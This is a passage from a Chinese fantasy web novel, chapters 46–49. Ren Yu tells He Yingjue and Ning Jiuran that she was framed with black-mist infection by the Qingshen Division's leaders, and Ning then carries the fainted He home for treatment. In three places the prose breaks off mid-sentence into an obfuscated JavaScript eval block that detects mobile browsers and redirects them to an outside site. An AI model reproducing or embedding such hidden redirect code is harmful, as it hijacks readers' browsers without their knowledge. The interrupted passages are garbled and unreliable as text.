森餮兽的移动速度非常快,以能把宁九燃和赫应决颠吐的速度狂奔大半个原态森林,最后带着他们停在了一处崖壁上,崖壁的边缘石面光滑,像是曾有一条的瀑布,地面上满是嶙峋的怪石,另三面被一些造型奇怪的古树围住。 宁九燃先一步从森餮兽上跳下来,环顾四周:“神印在哪啊?” 赫应决捂着伤口,稍微有些艰难地从森餮兽的背上翻下来,走到宁九燃身边:“当年照世计划中,论综合实力,任聿是仅次于司道的强者,她的神印天赋更是卓绝,就算在附近,应该也不是肉眼可察。” “这样啊?”宁九燃一边释放神力去感受他人神力的存在,一边好奇问,“不是都说照世计划里的二号强者是你吗,赫大人?你怎么还把名头送别人?” 赫应决:“以讹传讹罢了,当初我确实不如她,只不过人的选择不同,舆论对他的书写就不同。” “那她跟司道大人的关系怎么样?”宁九燃又问。 “我不好下定论。” “我了解到她跟司道大人一直都是明面上的竞争对手,但是又赢不过。”宁九燃问,“她们不会关系很差吧?那我们向她打听司道大人的事,她会不会生气?” “我不知道,但还是要问。”赫应决说。 要问要问,不过,现在看起来他跟任聿的关系更差,一会我得看好态势,该割席割席,不能被连带了。 宁九燃心里打定主意,绕着周围的空地走了一圈,说:“我跟她的神力并非同源,应该感受不出来,赫大人,你要不想想她设神印的习惯之类的?” 赫应决抬眼四面观察,向崖缘走去。 任聿是羽皇神神格,神力可与日光之力共鸣,而这对着的就是日落的位置,如果想要发挥神印最大的威力,那它的位置应该在…… 赫应决又往崖边走了两步,身体前倾,试图往下看去。 宁九燃注意到他,喊道:“赫应决,你小心点,掉下去我可不捞你啊!” 神印的位置,应该就在下面。 赫应决探出半身的一瞬,崖底金光大作,他眼睛被晃得一闭,感到一股强大的吸力陡然拽住他,整个人不受控制地向前扑倒,直直跌落下去。 “赫应决!” 宁九燃惊喊,抬腿飞奔而去,手却扑了个空,堪堪停在崖边,只见崖底的空地上以一个羽状的神印为中心,开启了一个巨大的阵法,赫应决没有落地,而是被无数金色流光捆住,悬在阵法中心。 这就是……任聿的神印? 宁九燃愣神的瞬间,阵法的金色屏障上凝结出无数金色羽毛,羽毛看起来在不断凝聚放大,然后慢慢调转方向…… 对准了赫应决! 不是,就算不是挚友也是昔日同窗吧?这任聿的神印怎么一副要弄死赫应决的样子? 这人怎么这么招仇恨啊? 宁九燃感觉头有点疼。 主要是放平时肯定问题不大,随他们打好了,但赫应决现在这个状态,估计抗不了几下就死定了啊? 几秒之内,金色羽毛的数量又翻了一倍。 宁九燃舔了舔嘴唇,缓了口气。 不救的话,这人大概要变成一只金色的刺猬。 她调动九凤神力,后颈的禁印随之发出红光,手中火焰化作长弓,在金色羽毛蓄力完成的瞬间,一支燃火的流光箭当空破开整个神印阵法,所有金色光点在火焰中消失殆尽。 宁九燃射完后立即收弓,指环弹出牵引线勾在崖壁的突出点,利落地纵身极速跃下,在赫应决即将瘫倒在地的瞬间落在他身旁揽住他。 “赫应决?” 宁九燃顺着赫应决滑落之势,扶着他半跪坐在地上,低头看见他的脸极其苍白,呼吸都有些重:“你没事吧?” 不应该啊,他吃了包老板给的药,不应该状态这么差。 她抬手正打算再探下他的神脉,身后却有风拂过,一个声音忽的响起:“九凤神格!你是什么人?” 是任聿。 赫应决闭了闭眼,抬手擦去额间的冷汗,撑着身体,在宁九燃的帮助下站起来,低声对她说了句:“没事。” 然后转过身面向任聿:“你出现了,我找到了神印,可以履行承诺了吗?” “你……你……”任聿却看也不看他,眼睛死死地盯着宁九燃,好像看见了什么不可置信的事,随之走近两步,出声,“……司道?” 宁九燃一愣,完全懵了,扶住赫应决的手悄悄拽了下他的衣服,嘴型不动从牙缝中挤出声音:“诶,她……在叫我?” 赫应决没出声,宁九燃有些迷茫地露出一个礼貌的笑容,冲任聿点了下头:“你好,我是宁九燃。” 任聿听到这句话,往前的步伐停住,看看她又看看赫应决,半天才开口:“你是宁九燃,九凤神格?” 宁九燃点点头,斟酌了下开口问:“你……为什么叫我司道啊?” 她印象中,她跟司道长得也不像吧? 任聿定定地看着她,像是在努力辨认着什么。 赫应决开口:“任聿,她不是。” 宁九燃抬手戳了下赫应决,偏头悄声问:“诶,她是眼神不太好嘛?” 赫应决没回答她,而是对任聿说:“日落之前找到神印,我做到了,现在可以回答我的问题了吗?” 任聿没理她,几步到宁九燃面前抓住她的手,语气迫切:“你真的不是司道?可你明明是九凤神格,你怎么会不是?” 宁九燃想把手抽回来,没抽动,只能用肩膀碰了下赫应决,想让人赶紧给她解个围。 主要是这任聿……看着有点太激动了,有种她不是司道就要把她吃了的感觉似的。 “任聿,她不是。”赫应决伸手挡在宁九燃面前,又说。 “赫应决,你明明知道九凤神格……”任聿语气激动地冲赫应决喊,却在对上他的目光的一瞬哑了声。 赫应决看着她,再一次说:“任聿,她不是,她是宁九燃。司道的神骨天羁至今仍黯淡无光,神格散,神骨暗,我们都知道的,司道已经死了。” 任聿脸上的闪过极其复杂的神情,最后慢慢消散,然后看向宁九燃,松开了手:“抱歉,九凤神格世不二出,我还以为……她还有可能……不好意思。” “没……没事。”宁九燃收回手。 这情节发展她属实有点没想到,果然九凤神格就是容易惹事,以后还是少用为好。 任聿走到一边,在一块大石头上坐下,示意他们也坐。 宁九燃扶着赫应决也在她对面的石头上坐下。 任聿看了眼捂着伤口的赫应决,说:“姓赫的,我倒没想到你会真的上赶着来送死,你不会真以为我就放了个玩似的神印,等着你捉迷藏吧。这么多年过去,我讨厌你这件事不是假的,而且越来越讨厌了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867981|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。“ 赫应决开口:“我知道,但你说过我做到了就回答我,你讨厌我是真的,但你任聿会践诺也是真的。” 任聿被戳中了,表情不爽地白了他一眼,抬腿架在边上的石头上,换了个坐姿,问:“你先说说,你和这个……宁九燃为什么会一起来?” 正低着头但滴溜着眼睛偷听的宁九燃突然被点,抬起头对上赫应决看她的视线,赫应决说:“你自己说吧。” 宁九燃抿了抿嘴,说:“因为我……我觉得司道大人的离世很可惜,想查清真相,赫大人应该也刚好在做这件事,我就跟着来了。” 任聿看了她几秒,说:“好,赫应决你问吧,我会说实话的。” “谢谢。”赫应决对她微微点了下头,说道,“这是第二个问题,你当初为什么要突然逃离请神司?以你当时的地位,还有司里对你的重用,我一直都想不通。” 任聿一副就知道你要问这个问题的表情,拍了拍衣服的下摆,开口:“因为当时……我感染了黑雾,而且是人为感染。“说着,她卷起右手的袖子,用神力激出几缕灰白的纹路——这是使用雾中草留下的痕迹。 “感染黑雾?”赫应决的语气有些震惊,“以你当时的神力层级,只要不是进入高浓度黑雾污染区,正常的黑雾在入体前就会被清除了,怎么会?” 任聿放下袖口,神色复杂地扯扯嘴角:“所以我说,是人为的。” “什么意思?”赫应决心里冒出一个隐隐的猜测,但他又希望这个猜测是错的。 “感染黑雾的那天,我本来没有需要执行的任务,就在弑神殿训练,当时个人终端忽然收到了来自请神司总委会的指令,要求我立刻前往请神城附近的一处郊区,说那里有伪神教徒出没。”任聿慢慢往下说,“其实我第一反应是怀疑的,十二神使归属弑神殿,由弑神者统一调配,所以所有请神司主司的命令都会先传达到司道,而不是直接通知我。但是……“ 任聿说到这,顿了顿,有些别扭地继续说:“姓赫的,你知道的,从照世计划开始,我跟司道从小比到大,当然,是我单方面在比,因为不论是天赋还是努力我确实都远远不如她,但我没放弃过,一直都想赢她一次。所以我接到这条指令后,以为是总委会对我的重视,仅仅是犹豫了一下,我就立刻换上作战服往郊区去了,到那里之后,我没有看见什么伪神教徒,反而遇见……” “遇见什么?” 任聿缓了缓,一字一顿地说:“血月异象。” 血月? 宁九燃的思绪被拨动了一下。 又是血月,上次平海也是,这会不会有关联? “血月与黑雾共鸣是我们提灯人的常识,我第一反应是这个小范围的血月异象是伪神教所为,再加上我当时的神力层级已达五重神相,寻常浓度的黑雾处理起来绰绰有余,所以我就往血月异象的中心区走去。”任聿说道,“但当我刚跨进中心区不到一分钟,可能只有三十秒,司道突然出现了,她不由分说地直接把我拽离了血月能够笼罩到的范围。” 说到这,任聿垂眸,似乎在回想那个画面:“我当时很不解,以为她是觉得我私自执行任务来处罚我,结果她什么都没说,一把拉开了我的袖子,上面已经有了黑雾污染的纹路。” 任聿看着赫应决和宁九燃,低低地说:“她如果晚来一会,我体内的黑雾浓度可能就超过控制线了,是她救了我。” 47. 第47章 任聿看了看他们二人的表情,继续往下说:“你们肯定很奇怪,黑雾从哪来的?我为什么没注意到?司道又是为什么会突然出现在这?说实话,我当时也极其纳闷,但是司道却好像对这个事有预判,她立刻让我把作战制服脱下来,用密牌探测黑雾,最后停在了制服的请神灯上。” 宁九燃有点不敢相信自己听到了什么。 “对,我当天所穿制服的请神灯里,有大量浓缩的黑雾,从我进入血月中心区开始,它的浓度就飞快提升,然后在我没有察觉之下,入侵我的体内。”任聿说,“后来,司道去查当天是谁给我发的指令,却发现那天请神司总委会的主控权限使用痕迹被消除得一干二净,同时,那天总司巡检组在我离开后一小时就抵达了请神殿,说是视察工作,实则都带了高敏度的黑雾感知仪,也就是说,当天我只要回去,就一定会被查出感染黑雾然后带走。“ 任聿冷冷地笑了声:“赫应决,所以你听出来我想要表达什么了吗?” “十二神使级别的请神灯,是有主司高层统一配管,总委会主控权限也是认人,不可能有总委会以外的人代为使用,包括巡检组,也只有总委会、弑神殿和司主可以调配。”赫应决沉下声,“所以,给你设局的,必定是请神司的高层。“ 所以,请神司主司,有人制造使用黑雾,修习血月邪术。 宁九燃捋清之后恍了下,这跟伪神教有什么区别? “对,我当时想明白之后,意外、震惊又痛苦,想把这件事捅出来,但都不知道幕后操纵的人是谁,心中就只剩下被自己人捅刀的悲哀。”任聿说,“司道把我藏在城外,当夜折回后给了大量的雾中草和请神香,以及替换掉的全套身份信息,她让我离开。我开始没明白,但司道告诉我,背后操纵者的目的肯定不是污染我的神格这么简单,再留在请神司一定会有危险。“ “你是说,司道她那个时候,也开始怀疑主司了吗?”赫应决突然插话问。 “对,这是我当时最奇怪的点。司道从小在请神司长大,就像是一个为请神司而生的弑神者。但她当时却直接把怀疑的矛头对准主司,甚至主动帮助我逃离,而且,她仿佛早就在调查这件事,所以才会在我行踪异常时立刻来找到我。”任聿回答说,“我当时跟她说好,等我安顿下来,跟她一起查这件事。只不过当时请神司主司明面上说我是请辞,实则出动了大量的人力物力来搜寻我,我藏了一个月才敢出来探听消息,然后就听到了司道的死讯。” 宁九燃看了看沉默的两人,小声开口:“所以,司道大人的死,很有可能跟她查的这件事有关,对吗?” 任聿看向她,说道:“没错,司道不可能死于什么可笑的伪神教暗杀,你把整个伪神教打包送到她面前都未必能伤到她。害死她的人,一定在请神司。” 这难道就是尤里斯让我查司道死因的原因吗?幕后黑手藏在请神司高层,以此瓦解请神司的公信力? 宁九燃心中思忖着。 信息量太大太乱了,请神司高层那么多人,说不准还联合了哪个家族的权贵,查起来可不是一般的难…… “对了,赫应决,我刚刚还没说。”任聿突然又开口,“司道送我走的时候告诉我,很有可能先来跟我汇合的不是她,是你。她当时还给我看了她为你准备的新身份信息,让我到时候接应你。” 任聿顿了顿,看着赫应决的神情,继续说:“司道当时还跟我说,她之前不理解你,但她现在明白了,只是不知道该怎么跟你开口。毕竟你们当时的矛盾闹得沸沸扬扬。她还跟我说,对你感到抱歉。” 宁九燃瞄了眼赫应决,这人听了这些话后,整张脸煞白。 “我当时挺无语的,堂堂司道大人,竟然拧巴成这样。”任聿盯着赫应决,声量提高,“可你知道她对我说什么吗?她说,赫应决在她心中的重量,让她无法草率虚假待之。她想要努力地理解你,再对你说她想说的话。” 完了,这话的杀伤力大约不亚于早上那场,虽然没太捋清楚,但是…… 宁九燃浮起一种不妙的熟悉感,转头看向赫应决。 这人不会又要像早上那样碎一次吧? 不行!不行!我可不要再捞他一次。 宁九燃非常突兀地抬高音量插话:“那个,所以,就是,赫大人你第三个问题是什么?” 一出声,两人都看向她,宁九燃干笑了两声,拿眼色示意赫应决。 赫应决眼波微转,猜出她的用意,开口说:“第三个问题,这些年,你有查出什么吗?” “查了,但是没头绪没结果,幕后之人藏得太深。”任聿的语气里有明显的沮丧,旋即又说,“但我查到一件事,不知道跟这个有没有关系。司道在帮助我之前,失败了一个任务。赫应决你是知道,她从成为弑神者后从不失败的。” 赫应决:“什么任务?” 任聿说:“有一个重度污染者从特殊神格医院逃离,她奉命将其带回,结果中途污染者自杀了。” 赫应决蹙眉:“我不记得她执行过这个任务。” 任聿:“因为这个任务是保密的,我也是花了很长的时间才查到。而且根据我整理的时间线,司道在此之后有整整三天没有执行任何任务,这不符合她的作风,她可是恨不得把一天当一年用的人。” 赫应决:“你有查到那个污染者是谁吗?” 任聿摇摇头:“没有。但是我查到她应该是从设立在厄莱克尔家族的特殊神格医院逃出来的。只是厄莱克尔辖区一向特殊,我没法查到更多信息。” 赫应决若有所思地点点头。 “好了,你还有要问的吗?”任聿说。 赫应决:“没有了,多谢。” “行,你腿没残吧,站起来。”任聿站起身,往边上一努嘴,“姓赫的过来,咱们聊点私人恩怨。” 赫应决撑了撑石面,站起身,跟她一块往远处走去。 宁九燃听不见他们说什么,但是余光时不时往那边瞄一眼。 毕竟一个满血一个残血,看着好像还有点深仇大恨,真打起来了,她还是得去拉点偏架的。 大约二十多分钟,任聿和赫应决走了回来,脸色看着倒是没什么变化,只是任聿眉间从见面起就带着的不爽好像散了些。 两人重新坐下,任聿率先开口:“既然你们要查司道的死因,那我就短暂地先忍你一下,但这并不代表咱俩冰释前嫌了。只是现在有共同的目标,就捏起鼻子合作吧。” 说完,她心不甘情不愿地冲赫应决伸出手,蜻蜓点水地握了握指尖后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869866|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转向宁九燃:“但我是愿意跟你合作的,我对你的第一印象很不错,看过你的比赛,握个手可以吗?” “当……当然。”宁九燃对这突如其来的夸奖有点发懵,她没太想到自己给她了什么第一印象,但还是伸出手跟她满满地握了下。 “这样吧,我给你个东西。”任聿单手结印,一片金色的羽毛化出,“你以后如果有事找我,把神力注入这片羽毛即可,只要方便,我就会来。” 宁九燃接过羽毛:“谢谢。”然后收进手链中。 这态度……有点太好了吧? 我这么有魅力? 人家这么友好,我是不是也该示好一下? “那个……”宁九燃想了想,开口出声,“我能问个问题吗?” 任聿点头,声音似乎都温和了几分:“你问。” “这些年,你销声匿迹,过得好不好?”宁九燃从人情往来的客套话中挑了个合适开口问,问出口又觉得有点怪,补充解释道,“哦我不是想打听你庇身所的意思,就是……就是觉得司道大人帮你离开,应该是想你过得好吧?” 任聿神情诧异了一瞬,盯着她喃喃道:“你关心我过得好不好?” 不太对不太对,这眼神不太对…… 宁九燃感觉她现在的眼神跟刚才错认她是司道的时候一模一样。 鬼使神差的,我到底为什么要问这个奇怪的问题啊…… “啊就是,那个朋……哦不对,合作伙伴之间,关心一下下。”宁九燃舌头都快打结了。 任聿低了低头,复而看向她,声音平和地说;“不差也不好,离开请神司,落脚在了一个从未想过的地方。” 停了下,她的声音又亮了几分,嘴角带上点笑:“不过,这些年我除了查这件事,剩下的可都在修习,神力层级大涨,若是司道还在,我肯定要找她比一场。” 宁九燃想接两句应和一下,边上的赫应决忽的开口:“那你也打不过她。” 任聿甩了个白眼过去,嚷道:“姓赫的你嘴不欠能死啊。” 宁九燃:……赫应决这嘴。 他俩积怨,赫应决的嘴估计功不可没。 “大人。”赫应决右臂上的凤凰忽然亮起,“弑神殿密讯,需要您处理一下。” “好。”赫应决站起身到一边处理事情。 任聿看看赫应决,挨近宁九燃问:“诶,九燃,你跟她关系好吗?” 这……似乎不能用好不好这种简单的词汇来概括…… 宁九燃把词库倒了倒,说:“有点复杂。” 任聿接着问:“他的神力怎么回事?” 宁九燃有点惊讶:“你看出来了?” 任聿撇撇嘴,说道:“我算是了解他的,以他现在的神力水平,不至于被我捅那一下就半死不活的,很明显神力出问题了。” 宁九燃摇头:“我也不知道。” 任聿挑眉,语气非常疑惑:“你不知道?” 宁九燃也很疑惑:“我应该知道吗?” “行,也有道理。”任聿点点头,又凑近她说,“我跟你讲,你别被他这小白脸样骗了,他不是什么好人。” 宁九燃:……这我还是知道的。 只是,赫应决你风评可真差。 48. 第48章 “诶,你的九凤神格现在到几重神相了?”任聿问。 宁九燃说道:“说实话,我也不太清楚。这个神格我小时候练得多,但是后来出了点问题,我还有一个火鹤神格,现在主要在练这个。” 任聿:“出问题?你怎么了?” 宁九燃不打算说实话,搪塞道:“也不是什么大问题,就是练到瓶颈了,再加上你也知道的,这个神格容易惹是非,所以我也不太用。” 任聿看出她不想说,也就没继续问,说道:“你刚才问我过得好不好,那你呢?从小到大过得开心吗?” 宁九燃点头道:“很开心,是我喜欢的生活,等我参加完提灯人大赛,完成我要做的事,应该会更好。” “对了。”宁九燃又问,“我有一个小小的八卦问题想问,赫大人跟司道大人以前是什么关系啊?” 任聿呵了一声,意味深长地说道:“他俩不是一般的复杂,反正我是看不明白。你要是好奇,就多问问那个姓赫的。” 宁九燃:“问过,他说不喜欢。” 任聿薅了薅垂在肩头的碎发,表情复杂地撇撇嘴:“那就不喜欢吧。你为什么好奇这个?你不会……不会喜欢他吧?” “呃……也没有吧,就是随便一问。”宁九燃说道,“我是看到当年有很多他俩的传言。” 刚说完,赫应决就处理完事情回来了。 任聿见他回来,站起身对宁九燃说:“我还有点事,不方便久留,有事联系我,再会。” 宁九燃站起来跟她道别,任聿非常不爽地又看了眼坐着不动的赫应决,手中神印一亮,瞬间消失不见。 宁九燃坐回到赫应决身边,见他垂眸不说话,先开口:“赫大人,你接下来打算怎么做?” 赫应决抬眼看她:“你还要继续查吗?一定要吗?” 宁九燃点点头:“对。” 赫应决看了她几秒,说:“好。厄莱克尔家族与其他三家不同,是请神司控制权最弱的一家,想要查到八年前特殊神格医院的保密内容并不容易,而且可能会引起幕后之人的怀疑。我打算等赛程进入第二阶段的时候,向总委会提议将其中一环设在厄莱克尔辖区,借此名正言顺提前进入辖区巡视。” 宁九燃:“赫大人,你跟我说这么详细,是准备带上我了吗?” 赫应决:“你有能力,既然要查,多一个人也没什么。” 宁九燃弯了弯嘴角,探头看着他:“赫大人,我发现你这人有时候也不怎么讨厌,至少不是像别人口中说的那样。” 赫应决没看她,修长的十指扣在一块,轻声:“那是你没有见过我可怕的样子。” 他的声音很轻,很淡,很凉。 “我见过啊,赫应决。”宁九燃摇摇头,接话,“第一次见面,我就见过你杀人,你还差点杀了我和珰珰他们,我当时就觉得弑神者大人名不虚传。第二次在隧道,没见到。但是后来在医院,你又仗着神力用死来威胁我,逼问我跟司道的关系。第四次,你三更半夜把我拐到重止城的伪神教据点,当着我的面杀伪神教徒来恐吓我,我当时就觉得你这人除了一张脸什么都讨人厌。” 赫应决听到这,了然地笑笑,笑得很凉:“所以啊,我就是别人说的那样……” “我还没说完呢,赫应决。”宁九燃打断他,“但是后来,我被赏金猎人围杀,是你救了我,还为我找到了市面上几乎不可能有的血池水。你看穿我伪神教圣女的身份,但却没有立即杀我,而是听我解释,为我保密。包括后来我找你帮忙查常清的档案,你虽然嘴上不送,却立刻就帮了我。” 宁九燃顿了下,继续说:“其实也包括前几次,是你阻止了常清的蚀雨,是你用烛龙神印给了我逆转阵法救下乘客的机会,也是你在明知道我借你的名来争取参赛资格却依然帮我。赫应决,你从来没有真正伤害过我,在我没有向你兑现任何承诺之前,你就已经帮了我无数次了。” 赫应决似乎对她说的这番话感到意外,那双格外好看却也格外冷的眼里,好似有什么在流转。他看着宁九燃,声音很轻,还带着点哑:“你想说什么?” “我想说……”宁九燃直视着赫应决,“赫应决,我不是傻子,我有眼睛,会自己看。至少在我这里,你是个好人。” 赫应决的嘴唇动了动,没说出话来。 宁九燃的眼睛本就明亮好看,此刻似乎又亮了几分,继续说:“所以,赫应决,我知道,我们身份有很大的差距……” 嗯?这话头…… 赫应决怔了下,语速都快了:“你要说什么?” “啊?”宁九燃突然被打断,看他表情后了然,没忍住笑道,“我是说,我们虽然有很大的身份差距,但是你这么帮我,肯定是认可我的,我也觉得你人不错,所以能不能抛下那些弯弯绕绕的,做好朋友啊?” 赫应决一愣:“啊?” 这个问题,需要那种奇怪的开头吗? 宁九燃嘴角扬得更高了些,凑近赫应决:“赫大人以为,我要问什么?” “没……没什么。”赫应决别过脸去换了口气,随即转回来,“你要跟我交朋友?” 宁九燃点头:“我说的很明白了。” 赫应决笑了:“你要跟弑神者交朋友?” “怎么?弑神者不能有朋友吗?”宁九燃挑眉,“当年的司道大人难道没有朋友吗?弑神者也是人啊,脱下那身制服,与我们有什么区别呢?” 赫应决看着她,随即说:“好。” “那握个手吧,赫应决。”宁九燃笑了,伸出右手,“不过,好朋友也明算账哈,之前说的承诺不能赖。” 赫应决顿了顿,慢慢伸出手,冰凉的指尖触碰上温热。 他不着痕迹地轻颤了下,好像尘封在寒川之下的灵魂正在一寸一寸被熨烫。 就在这时,一片小小的、雪白的冰晶落在他们握着的手上。 宁九燃抬起头,已经昏暗的天上有无数雪白在飘落,仿若被捻碎的星星,将所到之处微微照亮。 “赫应决,下雪了。” 赫应决随之抬眼看向飘落的雪,眼神变得渺远。 今年,格利烬坦的初雪来得格外晚,好像是在等着什么。 平海气候温暖,就算是深冬也未必能见到雪,宁九燃对下雪还是有着新奇和期待的。 她伸出手,让雪花飘落在掌心,雪花遇热,然后慢慢化开。 “赫应决,你们格利烬坦的雪景是不是很美啊?” 宁九燃看着天上的飘雪,问。 但却没有回应。 “赫应决?”宁九燃扭头转向赫应决坐的位置,却发现他不知何时已昏倒在石面上,双目紧闭,嘴唇一点血色也无。 宁九燃心中惊骇,连忙到他身边,刚一搭上他的肩,指尖的温度让她一哆嗦。 好凉! “赫应决!醒醒,赫应决!” 宁九燃在他身侧坐下,双手借力把他扶起来靠到自己肩上,右手拨开他额前的碎发,发现他不知什么时候已经出了一头的冷汗,手背往额头一碰,滚烫! 这温度,都快烧傻了吧?怕是自己刚刚讲那一长串话的时候就已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872370|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经烧得不行了,怎么也不吭一声,这么能忍? 宁九燃拧起眉:“不应该啊,明明吃了药。” 她目光下移,注意到赫应决不知什么时候扣上了风衣的扣子,她心中预感一闪,扯开衣扣,眼睛猛的瞪大。 赫应决腹部的伤口持续出血,绑住伤口的绑带已经被血浸透,甚至已经渗透到黑色的风衣上。 宁九燃心中直觉不妙,立刻抬手探向他的神脉。 竟然只恢复了微弱的神力,甚至不足以化解给他服下去的药,光靠撒在伤口上那点止血药怎么可能够用? “我真的……”宁九燃感觉气打不一处来,“没长嘴吗?不会说话吗?真服了!” 是不是什么事都比他小命重要?平时看着也不这样啊! 宁九燃缓过气,想着自己说的话估计这人也听不着,闷着气开始盘算:刚才有点失策,没问他这神力枯竭到底是什么回事?这人树大招风仇家无数的,弄回请神司不行,弄到附近医院不行,弄回他那所谓的格利烬坦家族肯定更不行,得弄哪去呢?还有这伤,估计得用常规的医疗手段来治了…… 宁九燃把他的风衣扣好挡住风,眼神落到他右臂的凤凰上:诶,对了,这玩意现在好像能听我的…… 她试探性地开口:“凤凰?” “我在,宁队长。”凤凰应声。 宁九燃:“我现在是不是可以吩咐你做事?” 凤凰:“是的,宁队长,你拥有和大人同样的权限。” 宁九燃眼睛滴溜一转,打定了一个注意:“那我能用他的钱吗?” 凤凰:“可以,您可以自由支配大人名下与我绑定账户的资产。” 这权限也有?这么厚道? 宁九燃被这突如其来的富有骇了下,随即对凤凰说:“凤凰,你评估一下赫应决的伤情,预定一个最好最贵的医疗舱送到我家,就是我在平海的那个家。” “好的。”凤凰应声。 “哦对了,要匿名,不能让别人查出跟我们有关系,这可以办到吗?”宁九燃补充。 “当然可以。” 宁九燃想了想,继续安排:“你现在的分身状态,可以变成飞行器之类的吗?” 凤凰安静了下,说:“可以,但是由于主体尚在请神城,材料不足,飞行器无法容纳两人。” 宁九燃考虑了下,看着脸发白的赫应决,说:“这样吧,你变一个机械翼到我背上。”凤凰应声转移到宁九燃的背上,一双黑红的机械翼展开。 宁九燃俯身撑起昏迷不醒的赫应决,双手抱住他,吩咐道:“凤凰,把他跟我固定在一起。”话音落下,机械翼的底部两侧同时延伸出金属变形成的固定带,在赫应决的背部闭合,像安全带一般把赫应决跟宁九燃固定在一起。 紧密的距离让宁九燃能清晰感受到赫应决的温度和心跳,她的呼吸也不由自主地停滞了下。 两秒后,宁九燃释放神力凝结成屏障包裹住他们二人,说道:“凤凰,以我们能承受的最快速度,飞往平海,开启屏蔽器,屏蔽一些探测和扫描。” 凤凰:“好的,宁队长。” 双翼一展,二人腾空飞起,在漫天风雪中极速往平海的方向而去,而天光也在渐渐暗下来。 宁九燃一边控制着神力屏障,提高屏障内的温度防止二人失温,一边轻轻抬手把赫应决的下巴放在自己的肩侧,滚烫的呼吸灼了下她的脖颈。 这样,她可以清晰地感受到他的呼吸和呼吸的温度,以此来判断他的状况。 她想:赫应决,你最好血条够厚。 49. 第49章 唐宛芬和丈夫郑平友在晚上八点多接到了落在巷口的宁九燃和赫应决。 宁九燃快飞到平海上空时就提前给唐宛芬发了信息,因为直接落在门口怕被街坊看到,便停在了人最少的巷口。 “哎呀,小燃!”唐宛芬人还是一头雾水的,但是看见宁九燃踉跄地抱着个昏迷的人,赶忙上去扶住她,看见她手上的血后惊喊,“小燃,你受伤了!” “不……不是。”宁九燃的腿冻得有点僵,在原地跺了两下才缓过来,揽着赫应决解释道,“他的血。郑叔,帮忙扶下。” “好嘞好嘞。”郑平友长得算是高大的,但扶住赫应决后还是踉跄了下,发现这人一点意识都没有,“九燃,这人是?” “我朋友,我一会解释。”宁九燃活动了下发麻的手,“对了,我定的医疗舱到了吗?” 唐宛芬一边给宁九燃披外套把她揽在怀里,一边说:“到了到了,我按你说的放你房间里,先别在这说了,赶紧先回去吧,都冻坏了。” 郑平友背起赫应决,四人赶着回到家后,宁九燃和郑平友一块把赫应决托进她的房间,顶级的医疗舱体积不小,几乎占了房间的一半。 “郑叔,帮忙一块把他放进去。”宁九燃点了个按钮,医疗舱的舱门自动打开,和郑平友一块让赫应决平躺了进去,然后关上医疗舱舱门。 “九燃,这东西也看不太懂啊,你会用吗?”郑平友学历不高,看着医疗舱复杂的控制面盘发愣。 “不会,但没事。”宁九燃说,“凤凰,你来控制一下。” 郑平友一愣,不知道宁九燃在叫谁,就突然听见宁九燃手臂上的黑红机械臂出声:“好的,宁队长,已开启医疗舱的针对性治愈模式。” 话音一落,医疗舱上的显示灯变成红色,透过透明的舱门,可以看见几个内部喷头在喷射药雾,底部的几个机械臂自动开始操作,旁边的显示屏滴了下,出现了赫应决全部的实时身体数据。 看见治疗启动,宁九燃终于舒了口气,扶了扶边上的桌角,在凳子上坐下来。 郑平友虽然满脑子问题,但看宁九燃苍白的脸色,什么都没问,说:“九燃,你先歇会,这医疗舱这么高级,你朋友肯定没事。” 宁九燃从昨晚开始就没合过眼,一整天下来就凌晨吃了几口蓝莓蛋糕,又打又跑又抗,刚刚还紧绷了一路,这会真的快燃尽了。 她没什么力气说话,冲郑平友点了点头。 “小燃,怎么样啦?”唐宛芬推门进来,把一杯热乎的牛奶放进宁九燃手里,托盘上还有一盘冒着热气的鲜肉锅贴,“先吃点喝点,暖和下,脸都冻白了。” 宁九燃喝了口牛奶,温热的感觉慢慢散到周身,刚咽下,唐宛芬已经夹起一个锅贴蘸好醋,送到她嘴边。 宁九燃两口把锅贴咬进嘴里,汁水和香气漫开,力量好像一点点回来了。 她想,回家真好。 宁九燃吃上锅贴后,唐宛芬绕到医疗舱边上,好奇地看了一眼,然后在原地想了半天,惊讶地得音量都高了:“小燃,这……这不是那个……那个弑神者吗?” 郑平友:“什么弑神者?” 唐宛芬走到他边上拍了他一下:“咱俩不是一起看的比赛吗?就那个请神司的弑神者大人啊,开幕式出场的那个!我说这小伙子长得真帅,你跟我说这种人不能看脸,手上人命很多的那个……”说到后面,唐宛芬声音都小了。 “哦哦哦,想起来了!”郑平友回忆起来了,刚刚注意力都在宁九燃身上了,没怎么看男子的相貌。他连忙看了眼,随即瞪大眼睛转头:“九燃,这是?” 